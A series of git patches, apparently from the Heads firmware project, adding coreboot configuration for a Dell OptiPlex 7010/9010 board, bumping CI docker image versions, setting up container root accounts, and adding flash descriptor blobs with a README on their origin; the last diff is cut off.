+CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x20000 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_INTEL_TXT_SINIT_SIZE=0x20000 +CONFIG_INTEL_TXT_HEAP_SIZE=0xe0000 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# +CONFIG_SUPERIO_SMSC_SCH5545=y + +# +# Embedded Controllers +# + +# +# Intel Firmware +# +CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_AP_IN_SIPI_WAIT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set +CONFIG_PCIEXP_HOTPLUG_IO=0x800 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +# CONFIG_USBDEBUG is not set +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_INIT_BOOTBLOCK=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +CONFIG_INTEL_TXT_LIB=y +CONFIG_INTEL_TXT=y +CONFIG_INTEL_TXT_BIOSACM_FILE="@BLOB_DIR@/xx30/IVB_BIOSAC_PRODUCTION.bin" +CONFIG_INTEL_TXT_SINITACM_FILE="@BLOB_DIR@/xx30/SNB_IVB_SINIT_20190708_PW.bin" +CONFIG_INTEL_TXT_DPR_SIZE=3 +CONFIG_INTEL_TXT_BDR_VERSION=5 +# CONFIG_INTEL_TXT_TEST_BIOS_ACM_CALLING_CODE is not set +# CONFIG_INTEL_TXT_LOGGING is not set +CONFIG_INTEL_TXT_CBFS_BIOS_POLICY="txt_bios_policy.bin" +CONFIG_INTEL_TXT_CBFS_BIOS_ACM="txt_bios_acm.bin" +CONFIG_INTEL_TXT_CBFS_SINIT_ACM="txt_sinit_acm.bin" +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y + +# +# I/O mapped, 8250-compatible +# +CONFIG_TTYS0_BASE=0x3f8 + +# +# Serial port base address = 0x3f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From 066dc144cea1edbce7f144fcf48d98edb525de2d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 13:26:00 -0400 Subject: [PATCH 249/619] Bump nix develop based docker image to tlaurion/heads-dev-env:v0.2.2 Pushing flake.nix new requirements for binwalk and uefi-firmware-parser to extract blobs Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 9982931db..1ef0badeb 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.2.1 + - image: tlaurion/heads-dev-env:v0.2.2 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.2.1 + - image: tlaurion/heads-dev-env:v0.2.2 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.2.1 + - image: tlaurion/heads-dev-env:v0.2.2 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.2.1 + - image: tlaurion/heads-dev-env:v0.2.2 resource_class: large working_directory: ~/heads steps: From 4bbd1e8af3546ce0638f16a56c4eb5985647dfaa Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 16:10:33 -0400 Subject: [PATCH 250/619] flake.nix: Add fakeroot requirements so root user can be discovered through (/etc/passwd /etc/group file construction) Signed-off-by: Thierry Laurion --- flake.nix | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/flake.nix b/flake.nix index 24941931b..3ae2de90f 100644 --- a/flake.nix +++ b/flake.nix @@ -142,6 +142,12 @@ # Git configuration for safe directory access. printf '[safe]\n\tdirectory = *\n' >/.gitconfig mkdir /tmp; # Temporary directory for various operations. + + # Ensure /etc/passwd and /etc/group exist with root entries + echo "root:x:0:0:root:/root:/bin/bash" > /etc/passwd + echo "root:x:0:" > /etc/group + mkdir -p /root + chmod 700 /root ''; }; }); From aa59169cc9abf1b50013353e3773b0acc140877c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 16:24:59 -0400 Subject: [PATCH 251/619] Bump nix develop based docker image to tlaurion/heads-dev-env:v0.2.3 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 1ef0badeb..0d1be51aa 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.2.2 + - image: tlaurion/heads-dev-env:v0.2.3 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.2.2 + - image: tlaurion/heads-dev-env:v0.2.3 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.2.2 + - image: tlaurion/heads-dev-env:v0.2.3 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.2.2 + - image: tlaurion/heads-dev-env:v0.2.3 resource_class: large working_directory: ~/heads steps: From 4496d1bf1e78edae338aac478f7cedc97ed78483 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 7 Oct 2024 20:37:06 -0400 Subject: [PATCH 252/619] Optiplex 7010/9010 SFF: add ifd.bin from libreboot's t16650 in tree, change optiplex_blobs.mk target and point coreboot config to this IFD Signed-off-by: Thierry Laurion --- blobs/optiplex_9010/README.md | 6 ++++++ blobs/optiplex_9010/ifd.bin | Bin 0 -> 4096 bytes blobs/xx30/.gitignore | 3 +++ .../optiplex-7010_9010-maximized.config | 3 +++ .../optiplex-7010_9010_TXT-maximized.config | 6 +++--- .../coreboot-optiplex-7019_9010-maximized.config | 2 +- ...eboot-optiplex-7019_9010_TXT-maximized.config | 2 +- .../{optiplex_acm_blobs.mk => optiplex_blobs.mk} | 5 ++--- 8 files changed, 19 insertions(+), 8 deletions(-) create mode 100644 blobs/optiplex_9010/README.md create mode 100644 blobs/optiplex_9010/ifd.bin rename targets/{optiplex_acm_blobs.mk => optiplex_blobs.mk} (63%) diff --git a/blobs/optiplex_9010/README.md b/blobs/optiplex_9010/README.md new file mode 100644 index 000000000..9f244acb0 --- /dev/null +++ b/blobs/optiplex_9010/README.md @@ -0,0 +1,6 @@ +This ifd.bin is a configuration blob, and comes from https://codeberg.org/libreboot/lbmk/src/branch/master/config/ifd/t1650/12_ifd +Libreboot uses xx30 ME (downloaded from Lenovo, extracted+ neutered) as well, and reuses the dell t1650 IFD for their build, which we borrowed here with: + +wget https://codeberg.org/libreboot/lbmk/raw/branch/master/config/ifd/t1650/12_ifd -O ifd.bin + +Doc: https://libreboot.org/docs/install/dell7010.html diff --git a/blobs/optiplex_9010/ifd.bin b/blobs/optiplex_9010/ifd.bin new file mode 100644 index 0000000000000000000000000000000000000000..623470e94c106880ebce024687f8c65aa474a1a1 GIT binary patch literal 4096 zcmezW9~DF`{lL%6$imFVBp{@~sK}toz`%g4LWW_23Q&lFfde8AVoEdo=VoS*Vqj!o zV))OGsvg7xVF^YK4rFr%3%lvM00%!K$QR)tf`RGb2{4UJ^l&p69AP-fFrDG{RAliw zX9$l8NDUVMkm?SQ4@lKBs(v&CMnhmU1V%$(Gz3ONU^E0qLtr!nMnhm|gur_PQ3h58 zR)zNlVo+KfOe+*Z#1#r5;)fI<{6h*bK17|o8xw=5f~bPLJ0pblU;xuHP;+IV=E@jA n&D{kxcNfGQg Date: Tue, 8 Oct 2024 11:21:17 -0400 Subject: [PATCH 253/619] Optiplex 9010: use ifd.bin from my board, move past ifd.bin to ifd_t16650.bin, document Signed-off-by: Thierry Laurion --- blobs/optiplex_9010/README.md | 9 ++++++++- blobs/optiplex_9010/ifd.bin | Bin 4096 -> 4096 bytes blobs/optiplex_9010/ifd_t16650.bin | Bin 0 -> 4096 bytes 3 files changed, 8 insertions(+), 1 deletion(-) create mode 100644 blobs/optiplex_9010/ifd_t16650.bin diff --git a/blobs/optiplex_9010/README.md b/blobs/optiplex_9010/README.md index 9f244acb0..32967b59d 100644 --- a/blobs/optiplex_9010/README.md +++ b/blobs/optiplex_9010/README.md @@ -1,4 +1,11 @@ -This ifd.bin is a configuration blob, and comes from https://codeberg.org/libreboot/lbmk/src/branch/master/config/ifd/t1650/12_ifd +This blobs/optiplex_9010/ifd.bin is a configuration blob, and comes from my optiplex 9010 backup. +It was put in place with: + +python ~/me_cleaner/me_cleaner.py -S -r -t -d -O /tmp/discarded.bin -D ~/heads/blobs/optiplex_9010/ifd.bin -M /tmp/temporary_me.bin optiplex_9010-internal_backup.rom + +---- + +blobs/optiplex_9010/ifd_t16650.bin comes from https://codeberg.org/libreboot/lbmk/src/branch/master/config/ifd/t1650/12_ifd Libreboot uses xx30 ME (downloaded from Lenovo, extracted+ neutered) as well, and reuses the dell t1650 IFD for their build, which we borrowed here with: wget https://codeberg.org/libreboot/lbmk/raw/branch/master/config/ifd/t1650/12_ifd -O ifd.bin diff --git a/blobs/optiplex_9010/ifd.bin b/blobs/optiplex_9010/ifd.bin index 623470e94c106880ebce024687f8c65aa474a1a1..d25c3822333f66c49151d4ab9dd1bdc957d2b911 100644 GIT binary patch delta 71 zcmZorXi%77Y?;CU0vrqs|A7F+lwtVK&B`Fnz{tSD@LwJx4w3@_1_o{}1_l-u2}TZ% M$$^Yh7BTVz04Nq0a{vGU delta 71 zcmZorXi%77Y^lNk0vrqs|A7F+lxFzP&CDRhz{tSF@Sh(d4w3@_5D$bU7&$m52Qp4s H#K;c-O$8eK diff --git a/blobs/optiplex_9010/ifd_t16650.bin b/blobs/optiplex_9010/ifd_t16650.bin new file mode 100644 index 0000000000000000000000000000000000000000..623470e94c106880ebce024687f8c65aa474a1a1 GIT binary patch literal 4096 zcmezW9~DF`{lL%6$imFVBp{@~sK}toz`%g4LWW_23Q&lFfde8AVoEdo=VoS*Vqj!o zV))OGsvg7xVF^YK4rFr%3%lvM00%!K$QR)tf`RGb2{4UJ^l&p69AP-fFrDG{RAliw zX9$l8NDUVMkm?SQ4@lKBs(v&CMnhmU1V%$(Gz3ONU^E0qLtr!nMnhm|gur_PQ3h58 zR)zNlVo+KfOe+*Z#1#r5;)fI<{6h*bK17|o8xw=5f~bPLJ0pblU;xuHP;+IV=E@jA n&D{kxcNfGQg Date: Tue, 8 Oct 2024 14:21:55 -0400 Subject: [PATCH 254/619] targets/optiplex_blobs.mk: run extraction script if any of the 3 blobs are not found under blobs/optiplex_9010/ Signed-off-by: Thierry Laurion --- targets/optiplex_blobs.mk | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/targets/optiplex_blobs.mk b/targets/optiplex_blobs.mk index cadaad61f..d5af9e281 100644 --- a/targets/optiplex_blobs.mk +++ b/targets/optiplex_blobs.mk @@ -1,8 +1,13 @@ # Targets for downloading optiplex 7010/9010 blobs: including ACM, SINIT and EC blobs -# Make the Coreboot build depend on the following 3rd party blobs: -$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ +REQUIRED_BLOBS := \ 